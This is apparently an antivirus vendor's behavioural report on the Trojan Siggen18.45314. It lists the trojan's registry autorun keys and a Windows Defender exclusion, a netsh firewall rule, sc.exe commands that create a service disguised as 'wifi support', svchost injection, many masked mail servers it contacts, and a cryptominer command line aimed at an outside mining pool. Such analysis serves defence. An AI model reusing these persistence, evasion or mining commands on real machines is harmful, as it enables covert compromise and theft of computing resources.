Trojan.Siggen18.45314

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\jtlyuusb] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\jtlyuusb] 'ImagePath' = '%WINDIR%\SysWOW64\jtlyuusb\ubsjkncr.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\jtlyuusb] 'ImagePath' = '%WINDIR%\SysWOW64\jtlyuusb\ubsjkncr.exe'

Creates the following services

'jtlyuusb' %WINDIR%\SysWOW64\jtlyuusb\ubsjkncr.exe /d"<Full path to file>"
'jtlyuusb' %WINDIR%\SysWOW64\jtlyuusb\ubsjkncr.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\jtlyuusb' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\ubsjkncr.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\ubsjkncr.exe to %WINDIR%\syswow64\jtlyuusb\ubsjkncr.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'mx#######301.gslb.pphosted.com':25
'fl####asinkhole.com':25
'bk#######.#ail.protection.outlook.com':25
'mx#######003.gslb.pphosted.com':25
'sm##.###hange.iinet.net.au':25
'mx#######901.gslb.pphosted.com':25
'mx.##.#tinternet.com':25
'sm###gw.qti.com':25
'mx##.###us-vadesecure.net':25
'co##########iceaward.com.1.0001.arsmtp.com':25
'al######x-vip1.prodigy.net':25
'mx##.##il.icloud.com':25
'mx#.###ytechnique.org':25
'mx.##xmail.com':25
'mx#######f01.gslb.pphosted.com':25
'mx.####o.locaweb.com.br':25
'pr#############thcenter-org.mail.protection.outlook.com':25
'la#########ras-com.mail.eo.outlook.com':25
'fa###ool.xyz':10060
'mx###.comcast.net':25
'ff######x-vip2.prodigy.net':25
'ba###########-net.mail.protection.outlook.com':25
'mx#######f03.gslb.pphosted.com':25
'mx#.##aroutes.com':25
'mx####.carrierzone.com':25
'mx######1cb01.pphosted.com':25
'mx#.#ate.com':25
'ma##.##st-my-mail.com':25
'mx#######c03.gslb.pphosted.com':25
'mx#######a02.gslb.pphosted.com':25
'mx###.m2bp.com':25
'ma##.#ossbros.co.uk':25
'go###ll.id.au':25
'mx#######801.gslb.pphosted.com':25
'mx###.##stedmxserver.com':25
'ra##.##.tmes.trendmicro.eu':25
'fb#######.#ail.protection.outlook.com':25
'sm##.#opmail.com':25
'mx.###eric-isp.com':25
'mx.###card.email':25
'ma###.#ailinator.com':25
'mx.###davies.com':25
'mx#.#xstorm.com':25
'ma##.#etoxygen.ch':25
'mx###.mb1p.com':25
'mx#######d01.gslb.pphosted.com':25
'mx#######101.gslb.pphosted.com':25
'ma##.###safetytraining.com':25
'ma##.#ailcatch.com':25
'mx#.###wardemail.net':25
'mx######bde01.pphosted.com':25
'mx#.#anmail.net':25
'mx#.##l.iphmx.com':25
'ff######x-vip1.prodigy.net':25
'mx#######001.gslb.pphosted.com':25
'mx#######401.gslb.pphosted.com':25
'mx#.##ckeyecom.net':25
'10#.#8.138.44':443
'mx#.##tsolmail.net':25
'google.com':80
'17#.#13.115.157':421
'17#.#13.115.156':421
'80.#6.75.4':421
'17#.#13.115.155':421
'17#.#13.115.154':421
'17#.#13.115.153':421
'ma##.#athywatt.com':25
'fi####.datayard.us':25
'wa###########om-com.mail.protection.outlook.com':25
'ma##.#ailerhost.net':25
'ma##.#-email.net':25
'mx##.1and1.com':25
'mx#######501.gslb.pphosted.com':25
'mx#######b01.gslb.pphosted.com':25
'po######ce.guardedhost.com':25
'ej######.relay1g.spamh.com':25
'so####1.sohu.com':25
'eu##g.net':25
'ASPMX.L.GOOGLE.COM':25
'jo#####bros-sign.com':25
'mx####.##il.gm0.yahoodns.net':25
'17#.#13.115.158':485
'sv####lfheim.top':443
'mx.##wered.name':25
'pa####x.above.com':25
'Ma#####.###l.protection.office365.us':25
'cl######.eu.messagelabs.com':25
'ac###########ty-org.mail.protection.outlook.com':25
'ei####.#x.a.cloudfilter.net':25
'mh########.mail.protection.outlook.com':25
'mx#.####liv.c3s2.iphmx.com':25
'li#######.members.linode.com':25
'23####3f.21.ik2.com':25
'sm##.##ildrensplace.com':25
'no########tor.com.1.0001.arsmtp.com':25
'gq#.#witch.tv':443
'ALT2.ASPMX.L.GOOGLE.com':25
'ev############tific-com.mail.protection.outlook.com':25
'na#########.mail.protection.outlook.com':25
'mx#######c02.gslb.pphosted.com':25
'ma##.#axmail.net':25
'alt1.aspmx.l.google.com':25
'mx##.mb5p.com':25
'hz####.#xmail.netease.com':25
'sr#.##cusemail.net':25
'sc#####aext01.gene.com':25
'in#####.esatclear.ie':25
'mx#######602.gslb.pphosted.com':25
'mx#.##ailsrvr.com':25
'ma##.ekes.co.uk':25
'mx#######201.gslb.pphosted.com':25
'mx#.###isesystem.com':25
'an#####m2.ihs.com.tr':25
'52.##3.241.7':443

TCP

HTTP GET requests

http://www.google.com/

Other

'sv####lfheim.top':443
'mx#.##ckeyecom.net':25
'mx####.carrierzone.com':25
'gq#.#witch.tv':443
'mx#.##aroutes.com':25
'ba###########-net.mail.protection.outlook.com':25
'ff######x-vip2.prodigy.net':25
'fa###ool.xyz':10060
'la#########ras-com.mail.eo.outlook.com':25
'pr#############thcenter-org.mail.protection.outlook.com':25
'mx#.###ytechnique.org':25
'al######x-vip1.prodigy.net':25
'mx.##.#tinternet.com':25
'bk#######.#ail.protection.outlook.com':25
'Ma#####.###l.protection.office365.us':25
'an#####m2.ihs.com.tr':25
'fl####asinkhole.com':25
'ff######x-vip1.prodigy.net':25
'ma##.#ossbros.co.uk':25
'go###ll.id.au':25
'ra##.##.tmes.trendmicro.eu':25
'mx.###eric-isp.com':25
'fb#######.#ail.protection.outlook.com':25
'hz####.#xmail.netease.com':25
'ma##.#etoxygen.ch':25
'mx.###card.email':25
'ma###.#ailinator.com':25
'mx#.#xstorm.com':25
'ma##.###safetytraining.com':25
'ma##.#ailcatch.com':25
'mx######bde01.pphosted.com':25
'mx#.#anmail.net':25
'ac###########ty-org.mail.protection.outlook.com':25
'mh########.mail.protection.outlook.com':25
'li#######.members.linode.com':25
'ASPMX.L.GOOGLE.COM':25
'mx####.##il.gm0.yahoodns.net':25
'ej######.relay1g.spamh.com':25
'ma##.#-email.net':25
'jo#####bros-sign.com':25
'po######ce.guardedhost.com':25
'wa###########om-com.mail.protection.outlook.com':25
'fi####.datayard.us':25
'17#.#13.115.153':421
'ma##.#athywatt.com':25
'17#.#13.115.155':421
'17#.#13.115.154':421
'17#.#13.115.157':421
'17#.#13.115.156':421
'17#.#13.115.158':485
'80.#6.75.4':421
'sm##.##ildrensplace.com':25
'mx.##wered.name':25
'10#.#8.138.44':443
'pa####x.above.com':25
'mx#.###isesystem.com':25
'ma##.ekes.co.uk':25
'in#####.esatclear.ie':25
'sm##.#opmail.com':25
'sr#.##cusemail.net':25
'<DNS_SERVER>':53
'mx##.mb5p.com':25
'eu##g.net':25
'na#########.mail.protection.outlook.com':25
'ALT2.ASPMX.L.GOOGLE.com':25
'no########tor.com.1.0001.arsmtp.com':25
'alt1.aspmx.l.google.com':25
'ma##.##st-my-mail.com':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK ea###link.net
DNS ASK bt###ernet.com
DNS ASK mx.##.#tinternet.com
DNS ASK so####nergy.co.nz
DNS ASK co#.com
DNS ASK mx#######901.gslb.pphosted.com
DNS ASK rd##ech.net
DNS ASK su###ust.com
DNS ASK sm##.###hange.iinet.net.au
DNS ASK we###fargo.com
DNS ASK mx#######003.gslb.pphosted.com
DNS ASK mx#.#ate.com
DNS ASK bk##e.com
DNS ASK bc##a.com
DNS ASK mx#######301.gslb.pphosted.com
DNS ASK fl####asinkhole.com
DNS ASK em#.com
DNS ASK te###scu.org
DNS ASK mx#######401.gslb.pphosted.com
DNS ASK br###tpoint.com
DNS ASK mx######1cb01.pphosted.com
DNS ASK fo###mail.com
DNS ASK er####enland.com
DNS ASK mx#######c03.gslb.pphosted.com
DNS ASK pr######nalintentions.com
DNS ASK sm###gw.qti.com
DNS ASK bk#######.#ail.protection.outlook.com
DNS ASK na##.com
DNS ASK mx##.###us-vadesecure.net
DNS ASK co##ast.net
DNS ASK mx###.comcast.net
DNS ASK fa###ool.xyz
DNS ASK ho##ial.com
DNS ASK la####tcharras.com
DNS ASK la#########ras-com.mail.eo.outlook.com
DNS ASK pr######ivehealthcenter.org
DNS ASK pr#############thcenter-org.mail.protection.outlook.com
DNS ASK gl##o.com
DNS ASK mx.####o.locaweb.com.br
DNS ASK ks##ble.com
DNS ASK mx.##xmail.com
DNS ASK ma####source.com
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK me##x.org
DNS ASK mx#.###ytechnique.org
DNS ASK me.com
DNS ASK mx##.##il.icloud.com
DNS ASK sb###obal.net
DNS ASK al######x-vip1.prodigy.net
DNS ASK co######schoiceaward.com
DNS ASK co##########iceaward.com.1.0001.arsmtp.com
DNS ASK jp#.net
DNS ASK wh###-mail.com
DNS ASK pa##ell.net
DNS ASK wm###nect.com
DNS ASK mx#######c02.gslb.pphosted.com
DNS ASK at#.net
DNS ASK sp##bog.com
DNS ASK di###rd.email
DNS ASK th####ryscope.com
DNS ASK mx.###eric-isp.com
DNS ASK yo##ail.com
DNS ASK sm##.#opmail.com
DNS ASK fb##x.org
DNS ASK fb#######.#ail.protection.outlook.com
DNS ASK ge###nmails.biz
DNS ASK ra####teractive.com
DNS ASK ra##.##.tmes.trendmicro.eu
DNS ASK le##.#rometheusx.pl
DNS ASK ff######x-vip1.prodigy.net
DNS ASK mx###.##stedmxserver.com
DNS ASK mx#######801.gslb.pphosted.com
DNS ASK ci##.#rometheusx.pl
DNS ASK go###ll.id.au
DNS ASK go###ros.co.uk
DNS ASK ma##.#ossbros.co.uk
DNS ASK go###ays.com
DNS ASK mx###.m2bp.com
DNS ASK ht##il.com
DNS ASK ge.com
DNS ASK mx#######a02.gslb.pphosted.com
DNS ASK ma###.#ailinator.com
DNS ASK ma###nator.com
DNS ASK mx.###card.email
DNS ASK mi##.wheets.com
DNS ASK mx.###davies.com
DNS ASK dh#.com
DNS ASK ha##ail.net
DNS ASK mx#.#anmail.net
DNS ASK th###rtford.com
DNS ASK mx######bde01.pphosted.com
DNS ASK bl###stone.com
DNS ASK fm###avel.co.uk
DNS ASK mx#.###wardemail.net
DNS ASK cp#####tytraining.com
DNS ASK ma##.###safetytraining.com
DNS ASK ma###atch.com
DNS ASK ba###########-net.mail.protection.outlook.com
DNS ASK ma##.#ailcatch.com
DNS ASK ff######x-vip2.prodigy.net
DNS ASK mx#######101.gslb.pphosted.com
DNS ASK uk.##sco.com
DNS ASK mx#######d01.gslb.pphosted.com
DNS ASK ot###l.co.uk
DNS ASK mx###.mb1p.com
DNS ASK ki####lkacademy.org
DNS ASK ro###die.com
DNS ASK ma##.#etoxygen.ch
DNS ASK mo####.marvsz.com
DNS ASK mx#.#xstorm.com
DNS ASK fr###vies.com
DNS ASK ml#.com
DNS ASK mx#.##l.iphmx.com
DNS ASK ge###quad.com
DNS ASK ba####thealth.net
DNS ASK mx#######f03.gslb.pphosted.com
DNS ASK ad#.org
DNS ASK fi####.datayard.us
DNS ASK ka###watt.com
DNS ASK ma##.#athywatt.com
DNS ASK google.com
DNS ASK ly###-inc.com
DNS ASK me#####industries.com
DNS ASK mx#.##tsolmail.net
DNS ASK cd##d.co.uk
DNS ASK ma####dandan.com
DNS ASK mx.##wered.name
DNS ASK rc###mail.com
DNS ASK pa####x.above.com
DNS ASK si##.com
DNS ASK cl######.eu.messagelabs.com
DNS ASK ro####gplusinc.com
DNS ASK un#####scapestravel.com
DNS ASK mx#.###isesystem.com
DNS ASK hs#.edu
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK ek##.co.uk
DNS ASK ma##.ekes.co.uk
DNS ASK ma###ting.com
DNS ASK mx#.##ailsrvr.com
DNS ASK wa####eredstrom.com
DNS ASK ar##t.com
DNS ASK do##t.com
DNS ASK ma##.#ailerhost.net
DNS ASK ma##.#-email.net
DNS ASK ASPMX.L.GOOGLE.COM
DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
DNS ASK 23#.###.#12.82.bl.spamcop.net
DNS ASK 23#.###.#12.82.zen.spamhaus.org
DNS ASK jo#####bros-sign.com
DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
DNS ASK 23#.###.#12.82.cbl.abuseat.org
DNS ASK so##.com
DNS ASK so####1.sohu.com
DNS ASK ve##zon.net
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK eu##g.net
DNS ASK ci####chicago.org
DNS ASK gt###hgo.com
DNS ASK ho####student.org
DNS ASK ej######.relay1g.spamh.com
DNS ASK 23#.###.112.82.in-addr.arpa
DNS ASK it####sdubai.com
DNS ASK po######ce.guardedhost.com
DNS ASK fu###eshop.com
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK am###trade.com
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK yv#####elinstudio.com
DNS ASK mx##.1and1.com
DNS ASK ti##jo.com
DNS ASK sv####lfheim.top
DNS ASK ej##.org
DNS ASK he##.com
DNS ASK mx#######602.gslb.pphosted.com
DNS ASK sc#####aext01.gene.com
DNS ASK mx#.####liv.c3s2.iphmx.com
DNS ASK mh##tc.org
DNS ASK mh########.mail.protection.outlook.com
DNS ASK ei##om.net
DNS ASK ei####.#x.a.cloudfilter.net
DNS ASK bl##epr.com
DNS ASK ma##ech.com
DNS ASK Ma#####.###l.protection.office365.us
DNS ASK ac####community.org
DNS ASK ac###########ty-org.mail.protection.outlook.com
DNS ASK wa###########om-com.mail.protection.outlook.com
DNS ASK yh##.co.uk
DNS ASK an#####m2.ihs.com.tr
DNS ASK bu####e-express.com
DNS ASK mx#.##ckeyecom.net
DNS ASK nc##rts.com
DNS ASK mx#######001.gslb.pphosted.com
DNS ASK nt##os.net
DNS ASK mx####.carrierzone.com
DNS ASK ab####tesuccess.win
DNS ASK ka###ven.com
DNS ASK en##ate.com
DNS ASK mx#.##aroutes.com
DNS ASK li#######.members.linode.com
DNS ASK mu###hakan.com
DNS ASK au##liv.com
DNS ASK ro###tmail.com
DNS ASK bl###quirrel.us
DNS ASK 23####3f.21.ik2.com
DNS ASK es###t.co.uk
DNS ASK sr#.##cusemail.net
DNS ASK wa###want.com
DNS ASK hz####.#xmail.netease.com
DNS ASK te##2re.com
DNS ASK mx##.mb5p.com
DNS ASK ag###ert.com
DNS ASK alt1.aspmx.l.google.com
DNS ASK ho##il.com
DNS ASK ma##.#axmail.net
DNS ASK es###lear.ie
DNS ASK er####tiftung.org
DNS ASK in#####.esatclear.ie
DNS ASK na##cpa.com
DNS ASK ev#####onscientific.com
DNS ASK ev############tific-com.mail.protection.outlook.com
DNS ASK ba###-baron.com
DNS ASK ALT2.ASPMX.L.GOOGLE.com
DNS ASK te###orm.com
DNS ASK gq#.#witch.tv
DNS ASK no####realtor.com
DNS ASK no########tor.com.1.0001.arsmtp.com
DNS ASK gy###ree.com
DNS ASK sm##.##ildrensplace.com
DNS ASK ge##.com
DNS ASK ev##att.com
DNS ASK na#########.mail.protection.outlook.com
DNS ASK ma##.##st-my-mail.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\jtlyuusb\ubsjkncr.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\jtlyuusb\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ubsjkncr.exe" %WINDIR%\SysWOW64\jtlyuusb\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create jtlyuusb binPath= "%WINDIR%\SysWOW64\jtlyuusb\ubsjkncr.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description jtlyuusb "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start jtlyuusb' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\jtlyuusb\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ubsjkncr.exe" %WINDIR%\SysWOW64\jtlyuusb\
'%WINDIR%\syswow64\sc.exe' create jtlyuusb binPath= "%WINDIR%\SysWOW64\jtlyuusb\ubsjkncr.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description jtlyuusb "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start jtlyuusb
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half

Tecnologie

Termini

Formazione ed informazione

Falsi miti

Technical Information

Curing recommendations

Free trial